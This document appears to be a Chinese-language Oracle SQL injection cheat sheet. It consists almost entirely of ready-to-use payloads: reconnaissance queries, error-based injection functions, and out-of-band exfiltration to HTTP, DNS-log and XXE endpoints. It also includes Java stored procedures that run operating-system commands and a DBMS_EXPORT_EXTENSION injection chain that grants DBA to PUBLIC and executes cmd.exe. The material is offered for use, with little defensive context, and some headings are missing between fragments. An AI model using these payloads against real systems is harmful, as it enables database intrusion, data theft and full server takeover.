# 获取当前数据库名 select instance_name from v$instance; # 查询oracle版本 select version from v$instance; # 查询操作系统环境 select banner from v$version where banner like 'TNS%'; # 查询系统所有用户 select username from all_users order by username; select name from sys.user$; # 查询当前用户 select user from dual; # 查询当前用户的所有权限 select * from session_privs; # 获取当前数据库有哪些表 select table_name from user_tables; # 查询表的字段(注意表名要大写) select column_name from user_tab_columns where table_name='TB_USER';
联合查询
和 Mysql 一致,也是 union select ,所以就不再次介绍了。
报错注入
utl_inaddr.get_host_name
1
select utl_inaddr.get_host_name((select user from dual)) from dual;
ctxsys.drithsx.sn
1
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
CTXSYS.CTX_REPORT.TOKEN_TYPE
1
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
XMLType
1
http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
select dbms_xdb_version.checkin((select user from dual)) from dual;
dbms_xdb_version.makeversioned
1
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
dbms_xdb_version.uncheckout
1
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
dbms_utility.sqlid_to_sqlhash
1
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
ordsys.ord_dicom.getmappingxpath
1
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
UTL_INADDR.get_host_name
1
select UTL_INADDR.get_host_name((select user from dual)) from dual;
UTL_INADDR.get_host_address
1
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
盲注
和 MySQL 的类似,也不介绍了。
外带数据
utl_http.request
发 http 请求。
1 2
# 外带数据示例,oracle的字符串连接符为|| select utl_http.request('http://192.168.163.150:10001/?result='||(select user from dual)) from dual;
utl_inaddr.get_host_address
发 dns 请求。
1
select utl_inaddr.get_host_address((select user from dual)||'.gvw06t.dnslog.cn') from dual;
DBMS_LDAP.INIT
1
SELECT DBMS_LDAP.INIT((select user from dual)||'.u0mowe.dnslog.cn',80) FROM DUAL;
HTTPURITYPE
1
SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;
其它
如果 Oracle 版本 <= 10g,可以尝试以下函数:
UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP
XXE (CVE-2014-6577)
说是 xxe ,实际上应该算是利用 xml 的加载外部文档来进行数据带外。支持 http 和 ftp 。
1 2 3
select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual);
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
# 1. 创建Java Source CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Hack" AS import java.io.*;public class Hack{public static String run(String cmd) throws IOException {Process p=Runtime.getRuntime().exec(cmd);InputStream is=p.getInputStream();BufferedReader br=new BufferedReader(new InputStreamReader(is));String s;StringBuilder sb=new StringBuilder();while ((s = br.readLine()) != null) {sb.append(s);}return sb.toString();}} / # 2. 创建Function create or replace function run(nothing in varchar2) return varchar2 as language java name 'Hack.run(java.lang.String) return String'; / # 3. 赋予代码执行的权限 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / # 4. 执行代码 select run('whoami') from dual;
加载so文件
原理类似于 Mysql 的 UDF 提权,都是可以加载新的 so 文件来创建新的命令。不过需要可以上传文件还要修改配置文件。
在上述低版本中这个函数才可以进行 RCE ,高版本都被修复了,这个函数本身是用来解析一段 XML 内容的,但是可以用来执行我们的 SQL 指令,可以把多条语句一起执行,起到多语句执行的目的。
1 2 3 4 5 6 7
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';
DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { public static String execCommand(String command) throws IOException, InterruptedException { Runtime rt = Runtime.getRuntime(); int bufSize = 4096; byte buffer[] = new byte[bufSize]; String rc = ""; int len; try{ Process p = rt.exec(command); BufferedInputStream bis = new BufferedInputStream(p.getInputStream(), bufSize); while ((len = bis.read(buffer, 0, bufSize)) != -1){ rc += new String(buffer).split("\0")[0];; } bis.close(); p.waitFor(); return rc; } catch (Exception e) { rc = e.getMessage(); } finally { return rc; } } } / create or replace function javae(p_command in varchar2) return varchar2 as language java name 'oraexec.execCommand(java.lang.String) return String'; /
1 2
@/tmp/evil.sql select javae('whoami') from dual;
dbms_java.runjava/dbms_java_test_funcall
1 2 3 4
# 适用于11g SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper touch /tmp/1.txt') FROM DUAL; # 使用于10g/11g SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','touch /tmp/1.txt') FROM DUAL;
漏洞的成因是该函数的参数存在注入,而该函数的所有者是 sys ,所以通过注入就可以执行任意 sql ,该函数的执行权限为 public ,所以只要遇到一个 oracle 的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
1 2 3 4 5 6 7 8 9 10 11 12
1. 权限提升 http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null-- 2. 创建Java代码执行命令 http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null -- 3. 赋予Java执行权限 http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null -- 4. 创建函数 http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null -- 5. 赋予函数执行权限 http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- 6. 执行命令 http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--